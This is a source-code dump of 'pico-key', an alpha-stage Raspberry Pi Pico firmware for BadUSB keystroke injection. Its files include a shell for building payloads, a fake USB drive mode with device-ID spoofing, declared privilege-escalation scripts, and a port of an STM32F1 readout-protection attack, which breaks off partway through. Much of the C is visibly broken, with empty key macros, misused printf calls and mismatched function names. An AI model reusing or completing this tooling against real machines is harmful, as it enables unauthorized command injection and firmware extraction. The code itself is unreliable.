`config.c`, it will not run if there is nothing in a memory buffer which contains your duckyscript. 48 | 49 | 2. If not running the payload, it will open the shell, which allows you to edit payloads, test payloads, control GPIO, etc. Other additional tools can be used. 50 | 51 | 3. From the shell, you will need to create a script manually, which will remain consistent after reboots. 52 | 53 | 4. Your config must be edited to allow the script to be run on startup after editing it, also done using the shell. 54 | 55 | 5. The `tinyusb` library takes the duckyscript from the specified memory address for which the buffer is located and writes it to the host when it boots up, assuming that the configuration is set correctly. 56 | 57 | Essentially, this is just a *Metasploit-style* pentesting tool for the Raspberry Pi Pico. 58 | 59 | Think of the whole process like this: 60 | 61 | ```text 62 | shell user input -> formatted in an array -> array written to formatted part of memory -> interpreted on boot -> directly translates to commands/keys -> commands used and written to host 63 | ``` 64 | 65 | Although you as the user only sees: 66 | 67 | ```text 68 | shell user input -> saved to memory -> written to host 69 | ``` 70 | 71 | Kind of a complex process but it still works! 72 | 73 | **Before asking to install, this is merely a blueprint for what I will be working on for the next couple of weeks!** 74 | 75 | ### The shell 76 | 77 | The shell allows you to do a fair share of things with the board, allowing you to make it look like a USB drive by blinking the LED, checking board stats, and testing of payloads. I plan on making this a very small "OS" for the Pico to do basic things. 78 | 79 | ### FAQ 80 | 81 | **How long will it be until a release?** 82 | 83 | Most of the changes haven't been tested and it is yet to work as intended. This might take a while depending on how long it will take to implement the wanted feature(s). Most likely this will all be finalized sometime around late summer (July to August) 2024. 84 | 85 | **Can it do things other than Keystroke injection?** 86 | 87 | It's pretty bare bones right now, it has a work-in-progress text editor, to build the scripts on the board without having to worry about editing the files on your computer, along with being able to test scripts on the device it is plugged into. Unless we can implement some way to control GPIO over the shell, it does only keystroke injection. The OS itself is minimal and can only do so much. 88 | 89 | ### Contributing 90 | 91 | TBA will add contributing guidelines soon 92 | 93 | **Made with :heart: by [@dj1ch](https://github.com/dj1ch)** 94 | 95 |
96 | -------------------------------------------------------------------------------- /include/boot.h: -------------------------------------------------------------------------------- 1 | /** 2 | * boot.h 3 | * headers for boot.c 4 | */ 5 | 6 | #ifndef BOOT_H 7 | #define BOOT_H 8 | 9 | #include "config.h" 10 | #include "usb.h" 11 | #include "duckyscript.h" 12 | #include "pico/stdio.h" 13 | #include "pico/malloc.h" 14 | 15 | extern int boot(); 16 | extern void boardInfo(); 17 | 18 | #endif // BOOT_H -------------------------------------------------------------------------------- /include/config.h: -------------------------------------------------------------------------------- 1 | /** 2 | * config.h 3 | * configurations are defined here 4 | */ 5 | 6 | #ifndef CONFIG_H 7 | #define CONFIG_H 8 | 9 | #include "pico/stdio.h" 10 | #include 11 | #include 12 | 13 | // default config params 14 | #define LED_PIN PICO_DEFAULT_LED_PIN 15 | #define DEFAULT_RUN_ON_STARTUP true 16 | 17 | // configuration structure 18 | typedef struct { 19 | int ledPin; 20 | uint32_t payloadLocation; 21 | bool runOnStartup; 22 | char *version; 23 | } Configuration; 24 | 25 | void initConfig(); 26 | extern void checkConfig(const Configuration *config); 27 | 28 | extern const uint32_t startAddress; 29 | extern const uint32_t sizeBytes; 30 | 31 | #endif // CONFIG_H 32 | -------------------------------------------------------------------------------- /include/duckyscript.h: -------------------------------------------------------------------------------- 1 | /** 2 | * duckyscript.h 3 | * define duckyscript in C...? 4 | */ 5 | 6 | #ifndef DUCKYSCRIPT_H 7 | #define DUCKYSCRIPT_H 8 | 9 | #include "config.h" 10 | #include "filesystem.h" 11 | #include "pico/stdio.h" 12 | #include "tusb.h" 13 | #include "tusb_option.h" 14 | #include 15 | #include 16 | #include 17 | 18 | // define hid report size 19 | #define KEYBOARD_REPORT_SIZE 6 20 | 21 | // must be the same as sizeBytes in config.c 22 | #define SCRIPT_SIZE 4096 23 | 24 | /** 25 | * source: 26 | * https://docstore.mik.ua/orelly/webprog/DHTML_javascript/0596004672_jvdhtmlckbk-app-b.html 27 | * https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes?redirectedfrom=MSDN 28 | */ 29 | 30 | /** 31 | * by default we use the left keys, usually people don't use the right control, alt, windows, etc. 32 | */ 33 | 34 | // control keys 35 | #define ALT 36 | #define WINDOWS 37 | #define SHIFT 38 | #define CONTROL 39 | 40 | // arrows 41 | #define DOWNARROW 42 | #define LEFTARROW 43 | #define RIGHTARROW 44 | #define UPARROW 45 | 46 | // other keys 47 | #define BACKSPACE 48 | #define CAPSLOCK 49 | #define DELETE 50 | #define END 51 | #define ESCAPE 52 | #define HOME 53 | #define INSERT 54 | #define NUMLOCK 55 | #define PAGEUP 56 | #define PAGEDOWN 57 | #define PRINTSCREEN 58 | #define ENTER 59 | #define SCROLLLOCK 60 | #define SPACE 61 | #define TAB 62 | #define BREAK 63 | #define PAUSE 64 | 65 | // abc's 66 | #define A 67 | #define B 68 | #define C 69 | #define D 70 | #define E 71 | #define F 72 | #define G 73 | #define H 74 | #define I 75 | #define J 76 | #define K 77 | #define L 78 | #define M 79 | #define N 80 | #define O 81 | #define P 82 | #define Q 83 | #define R 84 | #define S 85 | #define T 86 | #define U 87 | #define V 88 | #define W 89 | #define X 90 | #define Y 91 | #define Z 92 | 93 | // f keys 94 | #define F1 95 | #define F2 96 | #define F3 97 | #define F4 98 | #define F5 99 | #define F6 100 | #define F7 101 | #define F8 102 | #define F9 103 | #define F10 104 | #define F11 105 | #define F12 106 | 107 | // regular keys 108 | typedef struct { 109 | char key; 110 | } RegularKey; 111 | 112 | // function keys 113 | typedef struct { 114 | uint8_t code; 115 | } FuncKey; 116 | 117 | // mod keys 118 | typedef struct { 119 | uint8_t code; 120 | } ModKey; 121 | 122 | // mouse actions 123 | typedef enum { 124 | MOUSE_MOVE, 125 | CLICK, 126 | RIGHT_CLICK, 127 | MIDDLE_CLICK 128 | } mse; 129 | 130 | // keyboard actions 131 | typedef enum { 132 | PRESS_KEY, 133 | RELEASE_KEY 134 | } key; 135 | 136 | // mouse commands 137 | typedef struct { 138 | mse action; 139 | int x; 140 | int y; 141 | } mseCommand; 142 | 143 | // keyboard commands 144 | typedef struct { 145 | key action; 146 | char key; 147 | } keyCommand; 148 | 149 | extern int run(); 150 | 151 | extern void sendKey(uint8_t keyCode); 152 | extern void sendFuncKey(uint8_t funcKeyCode); 153 | extern void sendModKey(uint8_t modKeyCode); 154 | 155 | extern void read(uint8_t array[]); 156 | extern void buildScript(); 157 | extern void testScript(); 158 | 159 | extern uint8_t keyboard_report[KEYBOARD_REPORT_SIZE]; 160 | extern uint8_t fullScript[SCRIPT_SIZE]; 161 | 162 | #endif // DUCKYSCRIPT_H -------------------------------------------------------------------------------- /include/easter-egg.h: -------------------------------------------------------------------------------- 1 | /** 2 | * egg.h 3 | * special header? 4 | */ 5 | 6 | #ifndef EASTER_EGG_H 7 | #define EASTER_EGG_H 8 | 9 | #include "pico/stdio.h" 10 | #include 11 | #include 12 | #include 13 | 14 | extern char specialChoice[10]; 15 | 16 | extern void specialMessage(); 17 | extern void game(); 18 | 19 | #endif // EASTER_EGG_H -------------------------------------------------------------------------------- /include/filesystem.h: -------------------------------------------------------------------------------- 1 | /** 2 | * filesystem.h 3 | * headers for filesystem related things 4 | */ 5 | 6 | #ifndef FILESYSTEM_H 7 | #define FILESYSTEM_H 8 | 9 | #include "config.h" 10 | #include "pico/stdio.h" 11 | #include "pico/stdlib.h" 12 | #include "hardware/flash.h" 13 | #include "hardware/irq.h" 14 | #include "hardware/sync.h" 15 | 16 | extern void format(); 17 | extern void seperate(const char *buffer, size_t buflen, char *array); 18 | extern void write(const void *data, size_t len); 19 | 20 | #endif // FILESYSTEM_H -------------------------------------------------------------------------------- /include/pico-key.h: -------------------------------------------------------------------------------- 1 | /** 2 | * pico-key.h 3 | * main header for main stuff 4 | */ 5 | 6 | #ifndef PICO_KEY_H 7 | #define PICO_KEY_H 8 | 9 | #include "stm.h" 10 | #include "usb.h" 11 | #include "settings.h" 12 | #include "config.h" 13 | #include "boot.h" 14 | #include "duckyscript.h" 15 | #include "easter-egg.h" 16 | #include "pico/stdio.h" 17 | 18 | extern int main(); 19 | 20 | #endif // PICO_KEY_H -------------------------------------------------------------------------------- /include/settings.h: -------------------------------------------------------------------------------- 1 | /** 2 | * settings.h 3 | * settings for settings.c lol 4 | */ 5 | 6 | #ifndef SETTINGS_H 7 | #define SETTINGS_H 8 | 9 | #include "boot.h" 10 | #include "pico/stdio.h" 11 | 12 | extern void misc(); 13 | extern void options(); 14 | 15 | #endif // SETTINGS_H -------------------------------------------------------------------------------- /include/stm.h: -------------------------------------------------------------------------------- 1 | /** 2 | * stm.h 3 | * headers for stm pico exploit 4 | */ 5 | 6 | #ifndef STM_H 7 | #define STM_H 8 | 9 | #include "pico/stdio.h" 10 | #include "pico/stdlib.h" 11 | #include "hardware/uart.h" 12 | #include "hardware/pwm.h" 13 | #include 14 | 15 | #define LED_PIN PICO_DEFAULT_LED_PIN 16 | 17 | #define UART_TX_PIN 0 18 | #define UART_RX_PIN 1 19 | #define POWER_PIN 2 20 | #define RESET_PIN 4 21 | #define BOOT0_PIN 5 22 | 23 | #define UART_BAUD 9600 24 | #define UART_ID uart0 25 | #define DATA_BITS 8 26 | #define STOP_BITS 1 27 | #define PARITY UART_PARITY_NONE 28 | 29 | #define UART_STALLS_FOR_LED_OFF 10000 30 | 31 | extern void stm(); 32 | 33 | extern const char DUMP_START_MAGIC[4]; 34 | 35 | #endif // STM_H -------------------------------------------------------------------------------- /include/uid.h: -------------------------------------------------------------------------------- 1 | /** 2 | * uid.h 3 | * headers for priv escalation 4 | */ 5 | 6 | #ifndef UID_H 7 | #define UID_H 8 | 9 | #include "duckyscript.h" 10 | 11 | extern void exploitMenu(); 12 | 13 | extern void binaryEsc(); 14 | extern void suidEsc(); 15 | extern void cronEsc(); 16 | extern void kernelExp(); 17 | 18 | extern uint8_t binaryEscScript[100]; 19 | extern uint8_t suidEscScript[100]; 20 | extern uint8_t cronEscScript[100]; 21 | extern uint8_t kernelExpScript[100]; 22 | 23 | #endif // UID_H -------------------------------------------------------------------------------- /include/usb.h: -------------------------------------------------------------------------------- 1 | /** 2 | * usb.h 3 | * header for usb-related social engineering 4 | */ 5 | 6 | #ifndef USB_H 7 | #define USB_H 8 | 9 | #include "config.h" 10 | #include "pico/stdio.h" 11 | #include "pico/stdlib.h" 12 | #include "hardware/gpio.h" 13 | #include "tusb.h" 14 | #include "tusb_option.h" 15 | 16 | extern void fakeUSB(); 17 | extern void spoofID(); 18 | 19 | #endif // USB_H -------------------------------------------------------------------------------- /pico_sdk_import.cmake: -------------------------------------------------------------------------------- 1 | # This is a copy of /external/pico_sdk_import.cmake 2 | 3 | # This can be dropped into an external project to help locate this SDK 4 | # It should be include()ed prior to project() 5 | 6 | if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH)) 7 | set(PICO_SDK_PATH $ENV{PICO_SDK_PATH}) 8 | message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')") 9 | endif () 10 | 11 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT)) 12 | set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT}) 13 | message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')") 14 | endif () 15 | 16 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH)) 17 | set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH}) 18 | message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')") 19 | endif () 20 | 21 | set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK") 22 | set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable") 23 | set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK") 24 | 25 | if (NOT PICO_SDK_PATH) 26 | if (PICO_SDK_FETCH_FROM_GIT) 27 | include(FetchContent) 28 | set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR}) 29 | if (PICO_SDK_FETCH_FROM_GIT_PATH) 30 | get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}") 31 | endif () 32 | # GIT_SUBMODULES_RECURSE was added in 3.17 33 | if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0") 34 | FetchContent_Declare( 35 | pico_sdk 36 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 37 | GIT_TAG master 38 | GIT_SUBMODULES_RECURSE FALSE 39 | ) 40 | else () 41 | FetchContent_Declare( 42 | pico_sdk 43 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 44 | GIT_TAG master 45 | ) 46 | endif () 47 | 48 | if (NOT pico_sdk) 49 | message("Downloading Raspberry Pi Pico SDK") 50 | FetchContent_Populate(pico_sdk) 51 | set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR}) 52 | endif () 53 | set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE}) 54 | else () 55 | message(FATAL_ERROR 56 | "SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git." 57 | ) 58 | endif () 59 | endif () 60 | 61 | get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}") 62 | if (NOT EXISTS ${PICO_SDK_PATH}) 63 | message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found") 64 | endif () 65 | 66 | set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake) 67 | if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE}) 68 | message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK") 69 | endif () 70 | 71 | set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE) 72 | 73 | include(${PICO_SDK_INIT_CMAKE_FILE}) 74 | -------------------------------------------------------------------------------- /src/boot.c: -------------------------------------------------------------------------------- 1 | /** 2 | * boot.c 3 | * "bootup" process to run after the firmware is loaded 4 | */ 5 | 6 | #include "boot.h" 7 | 8 | int boot() { 9 | // boot logo 10 | char coolArt[] = "pico-key..."; 11 | char author[] = "by dj1ch"; 12 | 13 | // print this ^^ 14 | printf("\n%s\n", coolArt); 15 | sleep(1); 16 | printf("%s\n", author); 17 | 18 | // board info 19 | boardInfo(); 20 | 21 | // spoof id 22 | spoofID(); 23 | 24 | if (config.runOnStartup) { 25 | read(fullScript); // may need to fix that 26 | return 0; 27 | } else { 28 | // do nothing 29 | } 30 | } 31 | 32 | void boardInfo() { 33 | // we can only really print memory here 34 | printf("\nBoard info:\n"); 35 | printf(malloc_stats() + " bytes"); 36 | initConfig(); 37 | printf(checkConfig(config)); 38 | } -------------------------------------------------------------------------------- /src/config.c: -------------------------------------------------------------------------------- 1 | /** 2 | * config.c 3 | * configuration related things in a source file 4 | */ 5 | 6 | #include "config.h" 7 | 8 | // define config 9 | Configuration config; 10 | 11 | // define where to write 12 | const uint32_t startAddress = 0x10000; 13 | const uint32_t sizeBytes = 4096; 14 | 15 | void initConfig() { 16 | config.ledPin = LED_PIN; 17 | config.payloadLocation = startAddress; 18 | config.runOnStartup = true; 19 | config.version = "0.1.0-alpha"; 20 | } 21 | 22 | void checkConfig(const Configuration *config) { 23 | printf("\nCurrent Config: \n"); 24 | printf("LED Pin definition: %d\n", config->ledPin); 25 | printf("Payload location: 0x%08X\n", config->payloadLocation); 26 | printf("Run on startup: %s\n", config->runOnStartup ? "true" : "false"); 27 | printf("Current version: %s\n", config->version); 28 | } -------------------------------------------------------------------------------- /src/duckyscript.c: -------------------------------------------------------------------------------- 1 | /** 2 | * duckyscript.c 3 | * this handles the commmands and the hid 4 | */ 5 | 6 | #include "duckyscript.h" 7 | 8 | // full script 9 | uint8_t fullScript[SCRIPT_SIZE]; 10 | 11 | // set size 12 | uint8_t keyboard_report[KEYBOARD_REPORT_SIZE]; 13 | 14 | // arrays for keys 15 | RegularKey regularKeys[] = { 16 | {A}, {B}, {C}, {D}, {E}, {F}, {G}, {H}, {I}, {J}, {K}, {L}, {M}, 17 | {N}, {O}, {P}, {Q}, {R}, {S}, {T}, {U}, {V}, {W}, {X}, {Y}, {Z} 18 | }; 19 | 20 | FuncKey funcKeys[] = { 21 | {BREAK}, {PAUSE}, {CAPSLOCK}, {DELETE}, {END}, {ESCAPE}, {HOME}, {INSERT}, {NUMLOCK}, 22 | {PAGEUP}, {PAGEDOWN}, {PRINTSCREEN}, {ENTER}, {SCROLLLOCK}, {SPACE}, {TAB}, {BACKSPACE} 23 | }; 24 | 25 | ModKey modKeys[] = { 26 | {WINDOWS}, {SHIFT}, {ALT}, {CONTROL}, 27 | {DOWNARROW}, {LEFTARROW}, {RIGHTARROW}, {UPARROW} 28 | }; 29 | 30 | // run a duckyscript command based on what is in duckyscript.h 31 | int run(const char* command, void* params) { 32 | // parse command and run 33 | if (strcmp(command, "regular") == 0) { 34 | RegularKey* regKey = (RegularKey*)params; 35 | // send regular key 36 | keyboard_report[0] = 0; // modifier keys 37 | keyboard_report[1] = 0; // reserved 38 | keyboard_report[2] = regKey->key; // key to press 39 | keyboard_report[3] = 0; // reserved 40 | keyboard_report[4] = 0; // reserved 41 | keyboard_report[5] = 0; // reserved 42 | } else if (strcmp(command, "modifier") == 0) { 43 | ModKey* modKey = (ModKey*)params; 44 | // send modifier key 45 | keyboard_report[0] = modKey->code; // modifier keys 46 | keyboard_report[1] = 0; // reserved 47 | keyboard_report[2] = 0; // key to press 48 | keyboard_report[3] = 0; // reserved 49 | keyboard_report[4] = 0; // reserved 50 | keyboard_report[5] = 0; // reserved 51 | } else if (strcmp(command, "function") == 0) { 52 | FuncKey* funcKey = (FuncKey*)params; 53 | // send function key 54 | keyboard_report[0] = 0; // modifier keys 55 | keyboard_report[1] = 0; // reserved 56 | keyboard_report[2] = funcKey->code; // key to press 57 | keyboard_report[3] = 0; // reserved 58 | keyboard_report[4] = 0; // reserved 59 | keyboard_report[5] = 0; // reserved 60 | } 61 | 62 | printf("\nStarting attack!\n"); 63 | // run attack 64 | while (1) { 65 | tud_task(); 66 | } 67 | 68 | printf("\nAttack finished!\n"); 69 | return 0; 70 | } 71 | 72 | void sendKey(uint8_t keyCode) { 73 | // send a regular key 74 | keyboard_report[0] = 0; // no modifier keys 75 | keyboard_report[2] = keyCode; // key to press 76 | tud_hid_keyboard_report(REPORT_ID_KEYBOARD, 0, keyCode); 77 | } 78 | 79 | void sendModKey(uint8_t modKeyCode) { 80 | // send a modifier key 81 | keyboard_report[0] = modKeyCode; // modifier key code 82 | tud_hid_keyboard_report(REPORT_ID_KEYBOARD, modKeyCode, 0); 83 | } 84 | 85 | void sendFuncKey(uint8_t funcKeyCode) { 86 | // send a function key 87 | keyboard_report[0] = 0; // no modifier keys 88 | keyboard_report[2] = funcKeyCode; // function key code 89 | tud_hid_keyboard_report(REPORT_ID_KEYBOARD, 0, keyboard_report); 90 | } 91 | 92 | // crap i gotta build a new compiler for this :/ 93 | void read(uint8_t *array) { 94 | char* token; 95 | char* rest = array; 96 | const char commas[] = ","; 97 | 98 | // tokenize buffer 99 | while ((token = strtok_r(rest, commas, &rest))) { 100 | char* command = strtok(token, " \t\n"); 101 | char* param = strtok(NULL, "\n"); 102 | 103 | if (strcmp(command, "regular") == 0 || strcmp(command, "modifier") == 0 || strcmp(command, "function") == 0) { 104 | run(command, 0); 105 | } else { 106 | printf("Unknown command: %s\n", command); 107 | } 108 | } 109 | } 110 | 111 | 112 | void buildScript() { 113 | printf("\nPayloads are built here, but can also be modified using a file manager.\n"); 114 | printf("Every time you press enter it will be written to the file.\n"); 115 | printf("Type 'exit' to stop.\n"); 116 | 117 | // define script buffer 118 | char scriptBuffer[sizeBytes]; 119 | 120 | // 25 chars max!! most of the time commands are shorter. 121 | const int MAX_LINE_LENGTH = 25; 122 | char script[MAX_LINE_LENGTH]; 123 | 124 | while (true) { 125 | printf("\n> "); 126 | // get line and write it 127 | fgets(script, sizeof(script), stdin); 128 | script[strcspn(script, "\n")] = '\0'; 129 | 130 | for (int i = 0; script[i]; i++) { 131 | script[i] = toupper(script[i]); 132 | } 133 | 134 | // append script line to buffer 135 | if (strlen(script) + strlen(scriptBuffer) + 1 <= sizeBytes) { 136 | strcat(scriptBuffer, script); 137 | } else { 138 | printf("Script buffer is full. Exiting.\n"); 139 | break; 140 | } 141 | } 142 | 143 | // format memory and write required info there 144 | format(); 145 | seperate(scriptBuffer, sizeof(scriptBuffer), fullScript); 146 | write(fullScript, sizeof(fullScript)); 147 | 148 | printf("Script saved!\n"); 149 | } 150 | 151 | void testScript() { 152 | printf("\nRemember that testing the script will run this on your machine!\n"); 153 | char userWarning[10]; 154 | 155 | while (1) { 156 | printf("Are you okay with this? (Y/N) > "); 157 | 158 | // get only the characters 159 | fgets(userWarning, sizeof(userWarning), stdin); 160 | userWarning[strcspn(userWarning, "\n")] = '\0'; 161 | 162 | // convert to uppercase 163 | for (int i = 0; userWarning[i]; i++) { 164 | userWarning[i] = toupper(userWarning[i]); 165 | } 166 | 167 | if (strcmp(userWarning, "Y") == 0) { 168 | continue; 169 | } else if (strcmp(userWarning, "N") == 0) { 170 | break; 171 | } else { 172 | printf("%s: Not a valid response\n", userWarning); 173 | continue; 174 | } 175 | } 176 | 177 | // when we pass this we read the script 178 | read(fullScript); 179 | } -------------------------------------------------------------------------------- /src/easter-egg.c: -------------------------------------------------------------------------------- 1 | /** 2 | * easter-egg.c 3 | * maybe this is an easter egg ;) 4 | */ 5 | 6 | #include "easter-egg.h" 7 | 8 | void specialMessage() { 9 | printf("\nWhat did you expect to be here???\n"); 10 | printf("Weirdo...\n"); 11 | printf("\nAnyway, wanna play a game? (Y/N) > \n"); 12 | 13 | char specialChoice[10]; 14 | 15 | fgets(specialChoice, sizeof(specialChoice), stdin); 16 | specialChoice[strcspn(specialChoice, "\n")] = '\0'; 17 | 18 | for (int i = 0; specialChoice[i]; i++) { 19 | specialChoice[i] = toupper(specialChoice[i]); 20 | } 21 | 22 | if (strcmp(specialChoice, "Y") == 0) { 23 | game(); 24 | } else if (strcmp(specialChoice, "N") == 0) { 25 | printf("Okay, maybe next time.\n"); 26 | } else { 27 | printf("%s: Not a valid response\n", specialChoice); 28 | } 29 | } 30 | 31 | void game() { 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/filesystem.c: -------------------------------------------------------------------------------- 1 | /** 2 | * filesystem.c 3 | * handles filesystem related tasks 4 | */ 5 | 6 | #include "filesystem.h" 7 | 8 | // format the specified area 9 | void format() { 10 | printf("\nErasing flash...\n"); 11 | 12 | // erase memory at specified range 13 | flash_range_erase(startAddress, sizeBytes); 14 | 15 | printf("Done.\n"); 16 | } 17 | 18 | // seperate the duckyscript buffer 19 | void separate(const char *buffer, size_t buflen, char *array) { 20 | // check if the buffer is empty 21 | if (buflen == 0) { 22 | printf("Buffer is empty.\n"); 23 | return; 24 | } 25 | 26 | // index 27 | size_t index = 0; 28 | 29 | // store in array 30 | for (size_t i = 0; i < buflen; i++) { 31 | array[index++] = buffer[i]; 32 | 33 | // insert a comma 34 | if (i < buflen - 1) { 35 | array[index++] = ','; 36 | } 37 | } 38 | 39 | // null-terminate the output 40 | array[index] = '\0'; 41 | } 42 | 43 | // write the data and keep it constant 44 | void write(const void *data, size_t len) { 45 | // format memory 46 | format(); 47 | 48 | // check if the length exceeds the available space 49 | if (len > sizeBytes) { 50 | printf("Error: Data exceeds available space :/\n"); 51 | return; 52 | } 53 | 54 | printf("\nWriting data to flash...\n"); 55 | 56 | uint32_t ints = save_and_disable_interrupts(); 57 | 58 | // write data to flash 59 | flash_range_program(startAddress, data, len); 60 | 61 | restore_interrupts(ints); 62 | 63 | printf("Data written successfully.\n"); 64 | } 65 | -------------------------------------------------------------------------------- /src/pico-key.c: -------------------------------------------------------------------------------- 1 | /** 2 | * pico-key.c 3 | * licensed under GPL 3.0 4 | * built by @dj1ch 5 | */ 6 | 7 | /** developer note: 8 | * old pr w/ python is here: https://github.com/dj1ch/pico-key/pull/1/commits/5d4c65106c6aa490b7eb047827c1ed3a00a21377 9 | */ 10 | 11 | #include "pico-key.h" 12 | 13 | int main() { 14 | // main initialization 15 | stdio_init_all(); 16 | tusb_init(); 17 | 18 | boot(); 19 | while (true) { 20 | printf("\n1. Build Bad USB script\n"); 21 | printf("2. Test Bad USB script\n"); 22 | printf("3. Fake USB drive\n"); 23 | printf("4. STM32F1-Picopwner\n"); 24 | printf("5. Misc\n"); 25 | printf("6. Options\n"); 26 | sleep_ms(1000); 27 | 28 | int choice; 29 | printf("\n> "); 30 | scanf("%d", &choice); 31 | 32 | switch (choice) { 33 | case 1: 34 | buildScript(); 35 | break; 36 | 37 | case 2: 38 | testScript(); 39 | break; 40 | 41 | case 3: 42 | fakeUSB(); 43 | break; 44 | 45 | case 4: 46 | stm(); 47 | break; 48 | 49 | case 5: 50 | misc(); 51 | break; 52 | 53 | case 6: 54 | options(); 55 | break; 56 | 57 | case 69: 58 | specialMessage(); 59 | break; 60 | 61 | default: 62 | printf("\n%d: Invalid choice :/\n", choice); 63 | break; 64 | } 65 | } 66 | return 0; 67 | } -------------------------------------------------------------------------------- /src/settings.c: -------------------------------------------------------------------------------- 1 | /** 2 | * settings.c 3 | * misc and options in pico-key menu 4 | */ 5 | 6 | #include "settings.h" 7 | 8 | void misc() { 9 | printf("\nNothing here, for now... :/\n"); 10 | printf("\n> "); 11 | 12 | char choiceB[10]; 13 | 14 | // remove whitespace 15 | fgets(choiceB, sizeof(choiceB), stdin); 16 | choiceB[strcspn(choiceB, "\n")] = '\0'; 17 | 18 | // uppercase and compare it 19 | for (int i = 0; choiceB[i]; i++) { 20 | choiceB[i] = toupper(choiceB[i]); 21 | } 22 | 23 | if (strcmp(choiceB, "EXIT") == 0) { 24 | return; 25 | } 26 | } 27 | 28 | void options() { 29 | printf("\nHere we would put settings to set for the board, see the current board information, etc.\n"); 30 | printf("\n1. Print board info\n"); 31 | printf("\n> "); 32 | 33 | char choiceC[10]; 34 | 35 | // remove whitespace 36 | fgets(choiceC, sizeof(choiceC), stdin); 37 | choiceC[strcspn(choiceC, "\n")] = '\0'; 38 | 39 | // uppercase and compare it 40 | for (int i = 0; choiceC[i]; i++) { 41 | choiceC[i] = toupper(choiceC[i]); 42 | } 43 | 44 | if (strcmp(choiceC, "EXIT") == 0) { 45 | return; 46 | } 47 | 48 | if (strcmp(choiceC, "1") == 0) { 49 | boardInfo(); 50 | } 51 | } -------------------------------------------------------------------------------- /src/stm.c: -------------------------------------------------------------------------------- 1 | /** 2 | * stm.c 3 | * stm exploit from the pico implemented in the program 4 | */ 5 | 6 | /* 7 | * Copyright (C) 2024 Patrick Pedersen 8 | 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU General Public License as published by 11 | * the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU General Public License for more details. 18 | 19 | * You should have received a copy of the GNU General Public License 20 | * along with this program. If not, see . 21 | 22 | * Pi Pico Attack Board Firmware 23 | * Version: 1.2 24 | 25 | * This attack is based on the works of: 26 | * Johannes Obermaier, Marc Schink and Kosma Moczek 27 | * The relevant paper can be found here, particularly section H3: 28 | * https://www.usenix.org/system/files/woot20-paper-obermaier.pdf 29 | * And the relevant code can be found here: 30 | * https://github.com/JohannesObermaier/f103-analysis/tree/master/h3 31 | * 32 | */ 33 | 34 | #include "stm.h" 35 | 36 | // Exact steps for attack: 37 | // Power pin high 38 | // Wait for serial input 39 | // Power pin low 40 | // Wait for reset to go low <- GPIO INPUT 41 | // Power pin high 42 | // Wait for SRAM firmware to run (Approx 15ms) 43 | // Set boot0 pin and reset pin to low 44 | // Wait for reset release (Approx 15ms) 45 | // Set reset to input 46 | // Forward UART to USB 47 | 48 | const char DUMP_START_MAGIC[4] = {0x10, 0xAD, 0xDA, 0x7A}; 49 | 50 | void stm() 51 | { 52 | stdio_init_all(); 53 | 54 | // Prevent interpreting 0x0A as newline (0x0D 0x0A) instead of binary data 55 | // This will spare you a headache when dealing with putchar() 56 | stdio_set_translate_crlf(&stdio_uart, false); 57 | 58 | // Init UART 59 | uart_init(UART_ID, UART_BAUD); 60 | gpio_set_function(UART_TX_PIN, GPIO_FUNC_UART); 61 | gpio_set_function(UART_RX_PIN, GPIO_FUNC_UART); 62 | uart_set_format(UART_ID, DATA_BITS, STOP_BITS, PARITY); 63 | uart_set_fifo_enabled(UART_ID, true); 64 | 65 | // Init GPIOs 66 | gpio_init(LED_PIN); 67 | gpio_init(POWER_PIN); 68 | gpio_init(RESET_PIN); 69 | gpio_init(BOOT0_PIN); 70 | gpio_set_dir(LED_PIN, GPIO_OUT); 71 | gpio_set_dir(BOOT0_PIN, GPIO_OUT); 72 | gpio_set_dir(RESET_PIN, GPIO_IN); 73 | gpio_pull_up(RESET_PIN); 74 | 75 | // Init PWM for indicator LED 76 | gpio_set_function(LED_PIN, GPIO_FUNC_PWM); 77 | uint slice_num = 